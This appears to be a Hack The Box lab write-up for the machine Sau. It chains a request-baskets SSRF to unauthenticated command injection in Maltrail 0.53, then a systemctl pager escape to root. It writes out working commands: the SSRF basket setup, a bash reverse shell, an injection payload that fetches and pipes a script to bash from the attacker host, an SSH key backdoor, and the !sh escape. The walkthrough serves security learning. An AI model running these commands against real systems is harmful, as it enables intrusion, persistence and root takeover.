HTB: Sau
request-baskets SSRF (CVE-2023-27163) to internal Maltrail 0.53 command injection, then sudo systemctl status pager escape to root
An exposed request-baskets instance on 55555 let me forward a request to an internal-only service via SSRF (CVE-2023-27163). Behind it sat Maltrail v0.53, which has unauthenticated command injection in the login username, giving a shell as puma. Root came from a sudo grant on systemctl status, whose less pager runs !sh.
the box
Sau is an easy Linux box at 10.10.11.224. A host firewall hides most ports, leaving one odd service exposed on a high port. That service is request-baskets, which has an SSRF that bridges the firewall and reaches an internal-only web app. Behind the firewall sits Maltrail 0.53 with an unauthenticated command injection, so the SSRF turns into a shell. Root is a sudo entry pinned to systemctl status, which is pointless because the pager it spawns can run a shell. The whole chain is three outdated or misconfigured pieces stacked on top of each other, each one reachable only because the one before it opened the door.
recon
Full TCP sweep with versioning. The firewall made the scan slow and the results sparse.
nmap -p- --min-rate 10000 10.10.11.224
nmap -p 22,80,8338,55555 -sCV 10.10.11.224
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http no-response
8338/tcp filtered unknown no-response
55555/tcp open unknown syn-ack ttl 63
SSH 8.2p1 on the 4ubuntu0.7 package is Ubuntu 20.04 focal. Ports 80 and 8338 are filtered, meaning a firewall is silently dropping packets rather than refusing them, so something is listening but I cannot reach it from outside. The only thing I could actually talk to was an unrecognized service on 55555. nmap could not fingerprint it cleanly, but the probe responses leaked two strong clues.
| GetRequest:
| HTTP/1.0 302 Found
| Location: /web
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| invalid basket name; the name does not match pattern: ^[\w\d\-_\.]{1,250}$
A root request redirects to /web, and a bad path errors with invalid basket name. “Basket” is the giveaway. Browsing to the redirect target named the software in the footer.
http://10.10.11.224:55555/web
Powered by request-baskets | Version: 1.2.1
request-baskets is a Go service for capturing and inspecting HTTP requests. Version 1.2.1 is vulnerable to CVE-2023-27163, a server-side request forgery. A basket can be configured to forward incoming requests to a forward_url of my choosing, and with proxy_response enabled the forwarded service’s response is proxied back to me. The forwarding happens from the server itself, so it reaches 127.0.0.1 and the firewalled ports that I cannot touch directly. That is the bridge across the firewall.
foothold
I created a basket through the API, pointed forward_url at the internal web service on 127.0.0.1:80, and turned on proxy_response so I would see what came back. expand_path makes the basket pass the request path through to the target.
curl --location 'http://sau.htb:55555/api/baskets/lkwa' \
--header 'Content-Type: application/json' \
--data '{"forward_url": "http://127.0.0.1:80/","proxy_response": true,"insecure_tls": false,"expand_path": true,"capacity": 250}'
The API returned a token confirming the basket was created.
{"token":"WU-6NK6hiLmBlxDyM-X8LudpCQb5YgrhlDKkzqdBIE7u"}
Hitting the basket URL forwarded my request to internal port 80 and proxied the response. The footer named the internal app.
curl http://sau.htb:55555/lkwa
Powered by Maltrail (v0.53)
Maltrail is a malicious-traffic detection system. Version 0.53 has an unauthenticated OS command injection in the login form: the username parameter is passed into a subprocess unsanitized, so shell metacharacters in it execute. The login does not need to succeed, and no auth is required to reach it. The published PoC builds the payload as a base64-encoded reverse shell, decodes it server-side, and pipes it to a shell, all inside the username value behind a ; and backticks.
I hosted a one-liner reverse shell on my box.
# shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.27/8888 0>&1
Then triggered it through the basket. The request goes to request-baskets on 55555, which forwards it to Maltrail on internal 80, where the injected command runs.
python3 -m http.server 80 # serving shell
nc -lnvp 8888 # catching the callback
curl "http://10.10.11.224:55555/lkwa" \
--data 'username=;`curl http://10.10.16.27:80/shell | bash`'
The ; ends the intended command, the backticks run my curl | bash, and the listener caught a shell as puma.
nc -lnvp 8888
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
user
The injection ran as puma directly, so the foothold and user access were the same step. The reverse shell from the injection is fragile, since every triggered request spawns its own shell process under the Maltrail service, so I dropped my key into authorized_keys for a stable, normal session.
echo 'ssh-rsa AAAA... uncle_j4ck@Farm' >> ~/.ssh/authorized_keys
ssh puma@sau.htb
puma@sau:~$ cat user.txt
root
sudo -l showed one passwordless command, and it is pinned tightly to a single service.
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
At a glance this looks locked down: I can only run systemctl status against one service, nothing else. The flaw is the pager. When systemctl status output is longer than the terminal, systemd pipes it through less, and less runs with the same privileges as the command, which here is root. less lets you spawn a shell from its prompt with !. So I ran the allowed command in a terminal small enough that the output paged, then escaped from the pager.
sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since ...
Main PID: 891 (python3)
CGroup: /system.slice/trail.service
├─ 891 /usr/bin/python3 server.py
├─ 965 /bin/sh -c logger -p auth.info -t "maltrail[891]" "Failed password for ;`...`"
...
The status even shows my own injection attempts still running as child processes of Maltrail, which confirms the command-injection path was real and persistent. At the less prompt I typed !sh to break out into a root shell.
!sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
If the output is too short to page on its own, --no-pager is off by default, but a small terminal window or piping forces the pager. Either way, !sh at the prompt drops to root.
takeaway
The whole chain starts with one outdated service reachable from the internet. request-baskets SSRF bridged the firewalled ports, Maltrail’s unauthenticated injection turned an internal banner into code execution as puma, and the root step is the GTFOBins systemctl pager escape. Pinning sudo to systemctl status does nothing when the pager is interactive, because less will happily run !sh as root.